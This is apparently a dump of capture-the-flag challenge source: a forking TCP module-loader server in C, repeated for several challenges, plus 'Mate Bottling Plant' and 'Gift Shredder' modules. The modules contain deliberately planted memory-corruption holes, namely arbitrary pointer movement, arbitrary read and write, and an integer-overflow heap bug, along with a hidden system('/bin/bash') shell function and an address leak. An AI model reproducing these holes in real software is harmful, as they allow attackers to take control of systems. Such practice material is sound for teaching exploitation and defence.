57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /giftwrapper/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /giftwrapper2/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /mate.c: -------------------------------------------------------------------------------- 1 | #ifndef _MYLIB_H_ 2 | #define _MYLIB_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "module.h" 12 | 13 | const char* name = "Mate Bottling Plant Control Center"; 14 | const char* info = "\n" 15 | ".-----------------------------------------------------------------------.\n" 16 | "| Security advice: |\n" 17 | "| This industrial application may only be used by qualified employees. |\n" 18 | "| Non-intended usage may lead to serious damage to the machinery. |\n" 19 | " ----------------------------------------------------------------------- \n" 20 | "\n" 21 | " Type \"help\" for an overview of the provided functionality."; 22 | 23 | char mate_formula[2048]; 24 | char mate_bottles[12][400]; 25 | char* tap_pos = &mate_bottles[0][0]; 26 | char* hose_pos = &mate_bottles[0][0]; 27 | 28 | 29 | int stol(char* s, long* result) { 30 | char* endptr; 31 | long val; 32 | val = strtol(s, &endptr, 0); 33 | if ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0)) { 34 | return -1; 35 | } 36 | if (endptr == s) { 37 | return -1; 38 | } 39 | *result = val; 40 | return 0; 41 | } 42 | 43 | void show_mate_formula(int argc, char* argv[]) { 44 | printf("%s\n", mate_formula); 45 | } 46 | 47 | void new_mate_formula(int argc, char* argv[]) { 48 | if (argc < 2) { 49 | printf("Please specify the ingredients you want to use.\n"); 50 | return; 51 | } 52 | int offset = 0; 53 | for (int i = 1; i < argc; ++i) { 54 | int n = MIN(sizeof(mate_formula) - offset - 1, strlen(argv[i])); 55 | strncpy(mate_formula + offset, argv[i], n); 56 | offset += n; 57 | mate_formula[offset++] = ' '; 58 | } 59 | mate_formula[offset-1] = '\x00'; 60 | printf("Updated Mate formula.\n"); 61 | } 62 | 63 | void tap_position(int argc, char* argv[]) { 64 | printf("The filling tap is at position %p.\n", tap_pos); 65 | } 66 | 67 | void hose_position(int argc, char* argv[]) { 68 | printf("The extraction hose is at position %p.\n", hose_pos); 69 | } 70 | 71 | void move_tap(int argc, char* argv[]) { 72 | if (argc < 2) { 73 | printf("Where should the filling tap be moved?.\n"); 74 | return; 75 | } 76 | long offset; 77 | if (stol(argv[1], &offset)) { 78 | printf("Invalid argument\n"); 79 | return; 80 | } 81 | tap_pos += offset; 82 | } 83 | 84 | void move_hose(int argc, char* argv[]) { 85 | if (argc < 2) { 86 | printf("Where should the extraction hose be moved?.\n"); 87 | return; 88 | } 89 | long offset; 90 | if (stol(argv[1], &offset)) { 91 | printf("Invalid argument\n"); 92 | return; 93 | } 94 | hose_pos += offset; 95 | } 96 | 97 | void fill(int argc, char* argv[]) { 98 | if (argc < 2) { 99 | printf("Please specify the amount of mate in milliliters to be filled.\n"); 100 | return; 101 | } 102 | long amount; 103 | if (stol(argv[1], &amount)) { 104 | printf("Invalid argument\n"); 105 | return; 106 | } 107 | long ncopied = 0; 108 | while (ncopied < amount) { 109 | long n = MIN(strlen(mate_formula), amount - ncopied); 110 | strncpy(tap_pos + ncopied, mate_formula, n); 111 | ncopied += n; 112 | } 113 | printf("Succesfully filled %ld milliliters of mate at %p.\n", amount, tap_pos); 114 | } 115 | 116 | void extract(int argc, char* argv[]) { 117 | if (argc < 2) { 118 | printf("Please specify the amount of mate in milliliters to be extracted.\n"); 119 | return; 120 | } 121 | long amount; 122 | if (stol(argv[1], &amount)) { 123 | printf("Invalid argument\n"); 124 | return; 125 | } 126 | memset(hose_pos, '\x00', amount); 127 | printf("Succesfully extracted %ld milliliters of mate at %p.\n", amount, hose_pos); 128 | } 129 | 130 | void shut_down(int argc, char* argv[]) { 131 | printf("Shutting down Mate Bottling Plant...\n"); 132 | printf("Goodbye\n"); 133 | exit(EXIT_SUCCESS); 134 | } 135 | 136 | void inspect(int argc, char* argv[]) { 137 | if (argc < 2) { 138 | printf("Please specify the bottle to be inspected.\n"); 139 | return; 140 | } 141 | long pos; 142 | if (stol(argv[1], &pos)) { 143 | printf("Invalid argument\n"); 144 | return; 145 | } 146 | 147 | char* top = "\n" 148 | " __________ \n" 149 | " |_-_-_-_-_-| \n" 150 | " |__________| \n" 151 | " )________( \n" 152 | " (__________) \n" 153 | " | | \n" 154 | " / \\ \n" 155 | " / \\ \n" 156 | " / Mate \\ \n" 157 | " / \\ \n" 158 | " / |\\/| \\ \n" 159 | " / | | \\ \n" 160 | " / \\ \n" 161 | " | | \n"; 162 | 163 | 164 | char* bottom = " \\______________________/ \n" 165 | "\n"; 166 | 167 | printf("%s", top); 168 | for (int i = 0; i < 20; ++i) { 169 | printf(" | %.20s | \n", (char*)(pos + i * 20)); 170 | } 171 | printf("%s", bottom); 172 | } 173 | 174 | 175 | void spawn_shell(int argc, char* argv[]) { 176 | system("/bin/bash"); 177 | } 178 | 179 | 180 | void initialize_module(module_t* module, registration_function register_command) { 181 | 182 | module->name = name; 183 | module->info = info; 184 | 185 | register_command("formula", "\t\t", "Display the used Mate formula", show_mate_formula); 186 | register_command("new_formula", " ...", "Design a new Mate formula", new_mate_formula); 187 | register_command("tap_pos", "\t\t", "Show the current position of the filling tap", tap_position); 188 | register_command("move_tap", "\t", "Move the filling tap by offset", move_tap); 189 | register_command("fill", "\t\t", "Fill n milliliters of Mate at the current filling tap position", fill); 190 | register_command("hose_pos", "\t\t", "Show the current position of the extraction hose", hose_position); 191 | register_command("move_hose", "\t", "Move the extraction hose by offset", move_hose); 192 | register_command("extract", "\t\t", "Extract n milliliters of mate at the current extraction hose position", extract); 193 | register_command("inspect", "

\t\t", "Inspect the bottle at position p", inspect); 194 | register_command("exit", "\t\t\t", "Shut down the Mate Bottling Plant", shut_down); 195 | 196 | strcpy(mate_formula, "water mate_tea sugar_syrup citric_acid caffeine carbonic_acid "); 197 | memset(mate_bottles, ' ', sizeof(mate_bottles)); 198 | 199 | return; 200 | } 201 | 202 | #endif 203 | -------------------------------------------------------------------------------- /shredder.c: -------------------------------------------------------------------------------- 1 | #ifndef _MYLIB_H_ 2 | #define _MYLIB_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "module.h" 13 | 14 | const char* name = "Gift Shredder Plant Control Center"; 15 | const char* info = "\n" 16 | "As a new service¹ for our customers who are not satisfied with this year's christmas presents,\n" 17 | "we launched the modern, state of the art Gift Shredder Plant.\n" 18 | "\n" 19 | "(¹) Unfortunately we are not able to compensate for your financial loss.\n" 20 | "\n" 21 | "Type \"help\" for information on how to run the shredder."; 22 | 23 | 24 | const char* shredder_pipe = "\n" 25 | " | _ _ _ _ _ |\n" 26 | " | |_ |_| |_| |_ |\\ |\\ |_ |_| |\n" 27 | " | _| | | |\\ |_ |/ |/ |_ |\\ |\n" 28 | " |_____________________________|\n"; 29 | 30 | 31 | void animate(const char* lines[], size_t speed) { 32 | int n = 0; 33 | while (n++ < (50 - 4 * speed)) { 34 | printf("%s", shredder_pipe); 35 | for(int i = 0; i < 10; i++) { 36 | printf("%s\n", lines[(9 - i+n) % 10]); 37 | } 38 | printf("\n"); 39 | usleep(100000); 40 | printf("\r"); 41 | printf("\x1b[16A"); 42 | } 43 | printf("\x1b[16B"); 44 | } 45 | 46 | void shred_o(size_t speed) { 47 | const char* lines[10]; 48 | lines[0] = " o"; 49 | lines[1] = " o o "; 50 | lines[2] = " o o "; 51 | lines[3] = " "; 52 | lines[4] = " o "; 53 | lines[5] = " o o o"; 54 | lines[6] = " "; 55 | lines[7] = " o o "; 56 | lines[8] = " "; 57 | lines[9] = " o o "; 58 | 59 | animate(lines, speed); 60 | } 61 | 62 | void shred_strip(size_t speed) { 63 | const char* lines[10]; 64 | lines[0] = " ("; 65 | lines[1] = " ) ( "; 66 | lines[2] = " ( ) "; 67 | lines[3] = " "; 68 | lines[4] = " ) "; 69 | lines[5] = " ( ( )"; 70 | lines[6] = " "; 71 | lines[7] = " ) ( "; 72 | lines[8] = " "; 73 | lines[9] = " ( ) "; 74 | 75 | animate(lines, speed); 76 | } 77 | 78 | void shred_star(size_t speed) { 79 | const char* lines[10]; 80 | lines[0] = " *"; 81 | lines[1] = " * * "; 82 | lines[2] = " * * "; 83 | lines[3] = " "; 84 | lines[4] = " * "; 85 | lines[5] = " * * *"; 86 | lines[6] = " "; 87 | lines[7] = " * * "; 88 | lines[8] = " "; 89 | lines[9] = " * * "; 90 | 91 | animate(lines, speed); 92 | } 93 | 94 | void shred_dot(size_t speed) { 95 | const char* lines[10]; 96 | lines[0] = " ."; 97 | lines[1] = " . . "; 98 | lines[2] = " . . "; 99 | lines[3] = " "; 100 | lines[4] = " . "; 101 | lines[5] = " . . ."; 102 | lines[6] = " "; 103 | lines[7] = " . . "; 104 | lines[8] = " "; 105 | lines[9] = " . . "; 106 | 107 | animate(lines, speed); 108 | } 109 | 110 | typedef struct gift { 111 | char name[32]; 112 | } gift_t; 113 | 114 | typedef struct pallet { 115 | size_t capacity; 116 | gift_t gifts[]; 117 | } pallet_t; 118 | 119 | typedef struct shredder { 120 | size_t speed; 121 | void (*animation)(); 122 | } shredder_t; 123 | 124 | 125 | shredder_t* shredder; 126 | pallet_t* pallet; 127 | 128 | 129 | 130 | 131 | int stol(char* s, size_t* result) { 132 | char* endptr; 133 | size_t val; 134 | val = strtoul(s, &endptr, 0); 135 | if ((errno == ERANGE && (val == LONG_MAX || val == LONG_MIN)) || (errno != 0 && val == 0)) { 136 | return -1; 137 | } 138 | if (endptr == s) { 139 | return -1; 140 | } 141 | *result = val; 142 | return 0; 143 | } 144 | 145 | 146 | 147 | void request_shredder(int argc, char* argv[]) { 148 | if (argc < 2) { 149 | printf("Please specify at which speed the shredder should operate.\n"); 150 | return; 151 | } 152 | size_t speed; 153 | if (stol(argv[1], &speed)) { 154 | printf("Invalid argument\n"); 155 | return; 156 | } 157 | if (speed < 1 || speed > 10) { 158 | printf("Our shredders are only able to shred 1-10 gifts per second.\n"); 159 | return; 160 | } 161 | 162 | shredder_t* s = malloc(sizeof(shredder_t)); 163 | s->speed = speed; 164 | 165 | int r = rand() % 4; 166 | switch(r) { 167 | case 0: 168 | s->animation = shred_o; 169 | break; 170 | case 1: 171 | s->animation = shred_star; 172 | break; 173 | case 2: 174 | s->animation = shred_strip; 175 | break; 176 | case 3: 177 | s->animation = shred_dot; 178 | break; 179 | } 180 | 181 | if (shredder) { 182 | free(shredder); 183 | printf("Returning the previous shredder.\n"); 184 | } 185 | printf("Received new shredder.\n"); 186 | shredder = s; 187 | 188 | } 189 | 190 | void request_pallet(int argc, char* argv[]) { 191 | if (pallet) { 192 | printf("You already have a pallet!"); 193 | return; 194 | } 195 | 196 | if (argc < 2) { 197 | printf("Please specify the required gift capacity of the pallet.\n"); 198 | return; 199 | } 200 | size_t capacity; 201 | if (stol(argv[1], &capacity)) { 202 | printf("Invalid argument\n"); 203 | return; 204 | } 205 | 206 | size_t n = sizeof(pallet_t) + capacity * sizeof(gift_t); 207 | pallet_t* p = malloc(n); 208 | if (!p) { 209 | printf("Sorry. We do not have pallets that large.\n"); 210 | return; 211 | } 212 | memset(p, '\x00', n); 213 | p->capacity = capacity; 214 | 215 | printf("Received pallet\n"); 216 | pallet = p; 217 | } 218 | 219 | void put_gift(int argc, char* argv[]) { 220 | if (!pallet) { 221 | printf("You have to request a pallet to store the gifts first.\n"); 222 | return; 223 | } 224 | 225 | if (argc < 3) { 226 | printf("Specify the positon on the pallet where you want to put the gift and a description of it.\n"); 227 | return; 228 | } 229 | size_t index; 230 | if (stol(argv[1], &index)) { 231 | printf("Invalid argument\n"); 232 | return; 233 | } 234 | 235 | if (index >= pallet->capacity) { 236 | printf("The pallet is not large enough.\n"); 237 | return; 238 | } 239 | 240 | strncpy(pallet->gifts[index].name, argv[2], sizeof(gift_t) - 1); 241 | } 242 | 243 | void shred(int argc, char* argv[]) { 244 | if (!shredder) { 245 | printf("Please request a shredder first.\n"); 246 | return; 247 | } 248 | if (!pallet) { 249 | printf("There is no pallet with gifts to shred.\n"); 250 | return; 251 | } 252 | 253 | shredder->animation(shredder->speed); 254 | 255 | free(pallet); 256 | printf("Returning pallet.\n"); 257 | pallet = NULL; 258 | } 259 | 260 | 261 | void shut_down(int argc, char* argv[]) { 262 | printf("Shutting down Gift Shredder Plant...\n"); 263 | printf("Goodbye\n"); 264 | exit(EXIT_SUCCESS); 265 | } 266 | 267 | 268 | 269 | void spawn_shell(int argc, char* argv[]) { 270 | system("/bin/bash"); 271 | } 272 | 273 | 274 | void initialize_module(module_t* module, registration_function register_command) { 275 | 276 | register_command("request_shredder", "\t", "Request a shredder which can shred 